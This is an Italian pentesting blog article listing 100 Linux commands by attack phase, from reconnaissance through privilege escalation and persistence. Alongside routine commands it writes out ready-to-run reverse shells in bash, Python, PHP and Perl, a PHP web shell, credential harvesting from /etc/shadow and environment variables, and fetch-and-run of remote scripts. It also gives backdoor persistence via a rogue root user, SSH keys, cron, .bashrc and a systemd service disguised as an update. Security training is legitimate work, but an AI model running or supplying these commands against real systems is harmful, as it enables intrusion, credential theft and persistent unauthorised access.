Top 100 Comandi Linux: lista essenziale hacker

Top 100 comandi Linux: lista completa e pratica per pentester e sysadmin. Essenziali per enumerazione, exploit e post-exploitation.
- Pubblicato il 2026-02-28
- Tempo di lettura: 9 min
Executive Summary — La riga di comando Linux è l’arma principale del pentester. Kali Linux, Parrot OS e qualsiasi distribuzione di pentest si gestiscono dal terminale. Questo articolo contiene i 100 comandi più usati nel penetration testing — organizzati per fase della kill chain, ognuno con sintassi, esempio pratico e contesto operativo. Non è un manuale Linux generico: ogni comando è selezionato per la sua rilevanza nel pentest.
TL;DR
- 100 comandi organizzati per fase: recon, scanning, exploitation, post-exploitation, file transfer, persistence
- Ogni comando ha sintassi, esempio e contesto — riferimento operativo, non lista secca
- Link a guide specifiche per approfondire ogni tecnica
Navigazione e Sistema di Base #
1. pwd #
Mostra la directory corrente. Fondamentale per orientarsi dopo aver ottenuto una shell.
pwd/home/kali/pentest2. ls #
Lista file e directory. Con -la mostra permessi, owner e file nascosti — essenziale per la linux enumeration.
ls -ladrwxr-xr-x 2 root root 4096 Jan 15 10:00 .
-rwsr-xr-x 1 root root 16712 Jan 15 10:00 suspicious_binary
-rw-r--r-- 1 www-data www-data 1234 Jan 15 09:00 .bash_history3. cd #
Cambia directory.
cd /var/www/html4. cat #
Legge il contenuto di un file. Il comando più usato per leggere credenziali, config e log.
cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
j.smith:x:1001:1001::/home/j.smith:/bin/bash5. less / more #
Legge file lunghi con paginazione. Utile per log e dump.
less /var/log/auth.log6. head / tail #
Prime o ultime righe di un file.
head -20 /etc/passwdtail -f /var/log/auth.logIl flag -f segue il file in tempo reale — utile per monitorare log durante un attacco.
7. grep #
Cerca pattern in file o output. Il coltellino svizzero del pentest.
grep -riE "password|passwd|secret|token|api_key" /var/www/ 2>/dev/null/var/www/html/wp-config.php:define('DB_PASSWORD', 'S3cr3tP@ss!');
/var/www/html/.env:API_TOKEN=sk-live-abc123def4568. find #
Cerca file nel filesystem. Critico per trovare SUID, file scrivibili e credenziali nella linux privilege escalation.
find / -perm -4000 -type f 2>/dev/null/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec
/opt/custom_app/run_as_root9. which / whereis #
Trova la posizione di un binario.
which python3/usr/bin/python310. file #
Identifica il tipo di un file.
file suspicious_binarysuspicious_binary: ELF 64-bit LSB executable, x86-64, dynamically linked11. strings #
Estrae stringhe leggibili da un binario. Trova password hardcoded, URL e path.
strings suspicious_binary | grep -iE "pass|http|key"admin_password=Sup3rS3cret
http://10.10.10.5:8080/api/callback12. echo #
Scrive testo. Usato per creare file, payload e one-liner.
echo '<?php system($_GET["c"]); ?>' > /var/www/html/cmd.php13. touch #
Crea file vuoti o modifica timestamp — utile per l’anti-forensics.
touch -t 202501010000 /tmp/backdoor.sh14. mkdir #
Crea directory.
mkdir -p /tmp/.hidden/loot15. cp / mv #
Copia e sposta file.
cp /etc/shadow /tmp/.hidden/shadow.bak16. rm #
Cancella file. Con -rf cancella directory ricorsivamente.
rm -rf /tmp/.hidden/17. chmod #
Modifica permessi. Fondamentale per SUID exploitation.
chmod +x exploit.shchmod 4755 /tmp/suid_bashIl 4 iniziale imposta il bit SUID — il file gira con i permessi del proprietario (root).
18. chown #
Cambia proprietario. Richiede root.
chown root:root /tmp/suid_bash19. id #
Mostra UID, GID e gruppi dell’utente corrente.
iduid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm),27(sudo)Quel 27(sudo) è una pepita: l’utente è nel gruppo sudo.
20. whoami #
Nome dell’utente corrente.
whoamiwww-dataGestione Utenti e Permessi #
21. sudo #
Esegue comandi come root. Il primo test nella linux privesc.
sudo -lUser www-data may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vimSe vim è eseguibile come root: sudo vim -c '!bash' → shell root. Cerca su GTFOBins ogni binario trovato.
22. su #
Cambia utente. Se hai la password di un utente:
su - j.smith23. passwd #
Cambia password. Se sei root, cambi la password di chiunque.
passwd j.smith24. useradd / adduser #
Crea un nuovo utente. Per la persistenza post-exploitation:
useradd -m -s /bin/bash -G sudo backdoor
echo 'backdoor:P3nt3st!' | chpasswd25. w / who #
Mostra chi è connesso al sistema.
w 10:30:01 up 45 days, 2 users, load average: 0.15, 0.10, 0.05
USER TTY FROM LOGIN@ IDLE WHAT
admin pts/0 10.10.10.5 10:00 0.00s bash
j.smith pts/1 10.10.10.20 09:30 1:00m vim report.txt26. last #
Mostra gli ultimi login. Intelligence per capire chi accede e da dove.
last -20Rete — Recon e Connettività #
27. ip addr / ifconfig #
Mostra interfacce di rete e IP.
ip addr2: eth0: <BROADCAST> mtu 1500 state UP
inet 10.10.10.40/24 brd 10.10.10.255
3: docker0: <NO-CARRIER> mtu 1500
inet 172.17.0.1/16Se vedi docker0, sei probabilmente sull’host Docker — i container sono sulla 172.17.x.x. Per la container escape, questa è un’informazione critica.
28. ip route #
Mostra le route di rete — rivela subnet e gateway.
ip routedefault via 10.10.10.1 dev eth0
10.10.10.0/24 dev eth0 proto kernel
172.17.0.0/16 dev docker0 proto kernel29. ss / netstat #
Mostra connessioni e porte in ascolto. Fondamentale per l’enumerazione locale.
ss -tulnptcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234))
tcp LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",pid=5678))
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* users:(("java",pid=9012))MySQL sulla 3306 solo su localhost: non raggiungibile dall’esterno ma raggiungibile dal server. Per l’exploitation di MySQL, connettiti localmente.
30. ping #
Test di connettività.
ping -c 3 10.10.10.131. traceroute #
Traccia il percorso verso un host. Rivela gateway e hop intermedi.
traceroute 10.10.10.132. dig / nslookup #
Query DNS. Per la recon dei domini.
dig corp.local ANY @10.10.10.10dig axfr corp.local @10.10.10.10Il zone transfer (axfr) rivela tutti i record DNS del dominio — hostname, IP, servizi. Per l’enumerazione DNS, è il primo test.
33. host #
Risoluzione DNS rapida.
host -t mx corp.local34. curl #
Client HTTP/HTTPS da riga di comando. Il tool più versatile per testare web app.
curl -s http://10.10.10.40/api/users -H "Authorization: Bearer TOKEN"curl -X POST http://10.10.10.40/login -d "user=admin&pass=admin"curl -sk https://10.10.10.40:8443/ -o /dev/null -w "%{http_code}"35. wget #
Scarica file. Usato per trasferire tool e exploit sul target.
wget http://10.10.10.200/linpeas.sh -O /tmp/linpeas.sh36. nc (netcat) #
Il “coltellino svizzero” del networking. Listener, client, port scan, file transfer.
# Listener per reverse shell
nc -lvnp 4444# Client — connessione a un servizio
nc 10.10.10.40 21# Port scan rapido
nc -zv 10.10.10.40 1-1000 2>&1 | grep "succeeded"37. socat #
Netcat avanzato. Crea tunnel, relay e shell interattive.
# Shell interattiva completa (TTY)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.200:4444# Listener con TTY
socat file:`tty`,raw,echo=0 tcp-listen:444438. ssh #
Client SSH. Per accesso remoto, tunneling e pivoting.
ssh j.smith@10.10.10.40ssh -i id_rsa root@10.10.10.40Per l’exploitation di SSH, le chiavi private trovate in share NFS o backup sono il vettore più comune.
39. ssh tunnel (port forwarding) #
# Local port forward: accedi a MySQL interno via SSH
ssh -L 3306:127.0.0.1:3306 j.smith@10.10.10.40# Dynamic SOCKS proxy (pivoting)
ssh -D 1080 j.smith@10.10.10.40
# Poi: proxychains nmap -sT 172.16.0.0/2440. scp #
Copia file via SSH.
scp /tmp/linpeas.sh j.smith@10.10.10.40:/tmp/scp j.smith@10.10.10.40:/etc/shadow /tmp/loot/41. arp #
Mostra la tabella ARP — mappa IP ↔ MAC sulla rete locale.
arp -aScanning e Enumerazione #
42. nmap #
Lo scanner di rete principale. Per la guida completa: nmap.
nmap -sV -sC -p- -oA scan 10.10.10.40# Scan rapido top 1000 porte
nmap -sV -sC 10.10.10.40# Scan UDP
nmap -sU -top-ports 100 10.10.10.40# Vuln scan
nmap --script vuln 10.10.10.4043. masscan #
Scanner di porte ultra-veloce per range grandi.
masscan 10.10.10.0/24 -p1-65535 --rate=1000 -oL masscan_results.txt44. gobuster / dirsearch / feroxbuster #
Brute force directory e file su web server. Per il web application pentest.
gobuster dir -u http://10.10.10.40 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bakferoxbuster -u http://10.10.10.40 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt45. nikto #
Scanner di vulnerabilità web.
nikto -h http://10.10.10.4046. enum4linux / enum4linux-ng #
Enumerazione SMB/NetBIOS. Per l’enumerazione SMB.
enum4linux-ng -A 10.10.10.4047. smbclient #
Client SMB per accedere alle share.
smbclient -L //10.10.10.40/ -Nsmbclient //10.10.10.40/share -U j.smith48. rpcclient #
Client RPC per enumerazione Active Directory.
rpcclient -U "" -N 10.10.10.40
rpcclient $> enumdomusers
rpcclient $> enumdomgroups49. crackmapexec / netexec #
Tool di post-exploitation per reti Windows/AD. Per il lateral movement AD.
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123!'crackmapexec smb 10.10.10.0/24 -u admin -H aad3b435:32ed87bdb5fdc5e9cba50. ldapsearch #
Query LDAP per enumerazione AD.
ldapsearch -x -H ldap://10.10.10.10 -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountNameExploitation #
51. msfconsole (Metasploit) #
Framework di exploitation. Per la guida completa: metasploit.
msfconsole -qmsf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.10.10.40
msf6 > run52. searchsploit #
Cerca exploit nel database Exploit-DB.
searchsploit apache 2.4.49searchsploit -m 5038353. sqlmap #
Automatizza SQL injection. Per il web pentest.
sqlmap -u "http://10.10.10.40/page?id=1" --dbssqlmap -u "http://10.10.10.40/page?id=1" -D webapp --dump54. hydra #
Brute force di credenziali su servizi di rete.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.40 sshhydra -L users.txt -p 'Corp2026!' 10.10.10.40 smb55. john (John the Ripper) #
Cracking di hash offline.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtjohn --show hashes.txt56. hashcat #
Cracking di hash con GPU. Per il cracking di password.
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt# Mode 1800 = sha512crypt (Linux /etc/shadow)
hashcat -m 1800 shadow_hashes.txt wordlist.txt57. responder #
Poisoning LLMNR/NBT-NS per catturare hash NetNTLM sulla rete. Per gli attacchi NTLM relay.
responder -I eth0 -dwPv58. impacket-psexec / psexec.py #
Shell remota via SMB.
psexec.py corp.local/Administrator:'P@ssw0rd'@10.10.10.10psexec.py -hashes :32ed87bdb5fdc5e9cba corp.local/Administrator@10.10.10.1059. evil-winrm #
Shell remota via WinRM.
evil-winrm -i 10.10.10.10 -u Administrator -p 'P@ssw0rd'evil-winrm -i 10.10.10.10 -u Administrator -H 32ed87bdb5fdc5e9cba60. secretsdump.py #
Dump di credenziali da Domain Controller — la tecnica DCSync.
secretsdump.py corp.local/Administrator:'P@ssw0rd'@10.10.10.10 -just-dcReverse Shell e Shell Upgrade #
61. bash reverse shell #
bash -i >& /dev/tcp/10.10.10.200/4444 0>&162. python reverse shell #
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.200",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'63. php reverse shell #
php -r '$sock=fsockopen("10.10.10.200",4444);exec("/bin/bash -i <&3 >&3 2>&3");'64. perl reverse shell #
perl -e 'use Socket;$i="10.10.10.200";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'65. shell upgrade — PTY spawn #
Dopo aver ottenuto una reverse shell, upgrada a TTY interattiva:
python3 -c 'import pty; pty.spawn("/bin/bash")'# Poi nel terminale locale:
# Ctrl+Z (background la shell)
stty raw -echo; fg
# Enter
export TERM=xterm66. rlwrap #
Avvolgi netcat con readline per avere history e editing.
rlwrap nc -lvnp 4444File Transfer #
67. python HTTP server #
Il modo più rapido per servire file al target.
python3 -m http.server 808068. wget / curl (dal target) #
wget http://10.10.10.200:8080/linpeas.sh -O /tmp/linpeas.shcurl http://10.10.10.200:8080/exploit -o /tmp/exploit69. nc file transfer #
# Sul ricevente (target):
nc -lvnp 9001 > received_file
# Sul mittente (attacker):
nc 10.10.10.40 9001 < file_to_send70. base64 encoding #
Quando non hai accesso di rete diretto, trasferisci via copia-incolla.
# Sulla tua macchina:
base64 -w 0 exploit.elf
# Sul target (incolla l'output):
echo "BASE64_STRING" | base64 -d > /tmp/exploit
chmod +x /tmp/exploit71. scp (via SSH) #
scp exploit.sh user@10.10.10.40:/tmp/Privilege Escalation Linux #
Per la guida completa: linux privesc.
72. sudo -l #
Il primo comando dopo aver ottenuto una shell.
sudo -l73. find SUID #
find / -perm -4000 -type f 2>/dev/null74. find SGID #
find / -perm -2000 -type f 2>/dev/null75. find file scrivibili #
find / -writable -type f 2>/dev/null | grep -v proc76. find file di proprietà dell’utente corrente #
find / -user $(whoami) -type f 2>/dev/null | grep -v proc77. crontab #
Verifica cronjob — potenziali vettori di privesc.
crontab -lcat /etc/crontabls -la /etc/cron.d/
ls -la /etc/cron.daily/78. capabilities #
getcap -r / 2>/dev/null/usr/bin/python3.11 cap_setuid=epPython3 con cap_setuid = root immediato: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
79. linpeas.sh #
Script di enumerazione automatica per linux privilege escalation.
curl http://10.10.10.200:8080/linpeas.sh | bash80. pspy #
Monitora processi senza permessi root — trova cronjob nascosti.
./pspy642026/01/15 10:00:01 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.shSe /opt/backup.sh è scrivibile → modifica → root alla prossima esecuzione.
81. uname #
Versione kernel — per cercare kernel exploits.
uname -aLinux target 5.4.0-42-generic #46-Ubuntu x86_64 GNU/LinuxPost-Exploitation e Persistenza #
82. /etc/shadow #
Leggi gli hash delle password. Richiede root.
cat /etc/shadowroot:$6$abc123$hashhere...:19000:0:99999:7:::
j.smith:$6$def456$hashhere...:19000:0:99999:7:::Cracka con hashcat mode 1800.
83. /etc/passwd #
Utenti del sistema. Se scrivibile (raro ma possibile):
# Genera hash
openssl passwd -6 -salt xyz password123
# Aggiungi utente root
echo 'backdoor:$6$xyz$hash:0:0:backdoor:/root:/bin/bash' >> /etc/passwd84. ssh-keygen + authorized_keys #
Persistenza via chiave SSH.
ssh-keygen -t rsa -f /tmp/key -N ""echo "$(cat /tmp/key.pub)" >> /root/.ssh/authorized_keys85. crontab persistence #
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'" | crontab -86. .bashrc / .profile persistence #
echo 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1 &' >> /home/j.smith/.bashrcAl prossimo login di j.smith, parte la reverse shell.
87. systemctl #
Gestione servizi. Per l’enumerazione e la persistenza.
systemctl list-units --type=service --state=running# Persistenza: crea un servizio
cat > /etc/systemd/system/backdoor.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor
systemctl start backdoor88. history #
Leggi la cronologia dei comandi. Spesso contiene password in chiaro.
cat /home/*/.bash_history 2>/dev/null | grep -iE "pass|mysql|ssh|sudo"mysql -u root -p'DbP@ssw0rd!'
sshpass -p 'S3cret' ssh admin@10.10.10.5
sudo -S <<< 'mypassword' apt updateProcessi e Sistema #
89. ps #
Lista processi. Cerca servizi vulnerabili e credenziali in argomenti.
ps auxwwps auxww | grep -iE "pass|mysql|apache|nginx|java|docker"90. top / htop #
Monitoraggio processi in tempo reale.
top91. env #
Variabili d’ambiente — spesso contengono credenziali.
env | grep -iE "pass|secret|token|key|aws|azure"DB_PASSWORD=ProductionP@ss!
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...Per il privilege escalation su AWS con chiavi trovate nelle variabili d’ambiente.
92. mount #
Mostra filesystem montati. Cerca NFS shares e partizioni interessanti.
mount | grep -iE "nfs|cifs|tmpfs"93. df #
Spazio disco. Identifica filesystem montati.
df -h94. lsblk #
Lista dispositivi a blocchi.
lsblkCompressione e Archivi #
95. tar #
Comprimi e decomprimi archivi.
tar czf loot.tar.gz /tmp/loot/tar xzf archive.tar.gz96. zip / unzip #
zip -r loot.zip /tmp/loot/unzip backup.zip97. gzip / gunzip #
gzip file.txtgunzip file.txt.gzUtility Avanzate #
98. awk #
Processa testo strutturato. Estrai colonne specifiche.
awk -F: '{print $1, $3}' /etc/passwdcat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head99. sed #
Sostituzioni in-place. Modifica file di configurazione.
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config100. xargs #
Esegue comandi su input multipli. Combina con find per operazioni batch.
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/nullCheat Sheet Riepilogativa #
| Fase | Comandi chiave |
|---|---|
| Orientamento | id, whoami, hostname, uname -a, ip addr |
| Enumerazione locale | sudo -l, find / -perm -4000, ss -tulnp, ps auxww, env |
| Credenziali | cat /etc/shadow, grep -ri password, cat .bash_history, env |
| Rete | ip addr, ip route, ss -tulnp, arp -a, dig, nmap |
| File transfer | python3 -m http.server, wget, curl, nc, scp, base64 |
| Reverse shell | bash -i >&, python3, nc, socat |
| Privesc | sudo -l, find SUID, getcap, crontab, linpeas.sh, pspy |
| Persistenza | authorized_keys, crontab, .bashrc, systemctl |
| Cracking | hashcat, john, hydra |
| Exploitation | msfconsole, searchsploit, sqlmap |
⚠️ Disclaimer
Questo contenuto è a scopo educativo e destinato a test di sicurezza solo in ambienti autorizzati. L’uso improprio o senza permesso è illegale e resta responsabilità di chi lo esegue.
🎯 Vuoi migliorare davvero?
Formazione pratica 1:1 → https://hackita.it/servizi
🏢 Vuoi testare la tua azienda?
Assessment e simulazioni controllate → https://hackita.it/servizi
❤️ Supporta HackIta
Sostieni il progetto → https://hackita.it/supporto
Riferimenti utili:
- GNU Coreutils → https://www.gnu.org/software/coreutils/
- Linux man-pages → https://man7.org/linux/man-pages/
- GTFOBins → https://gtfobins.github.io/
- HackTricks Linux → https://book.hacktricks.xyz/linux-hardening
Uso esclusivo in ambienti autorizzati.






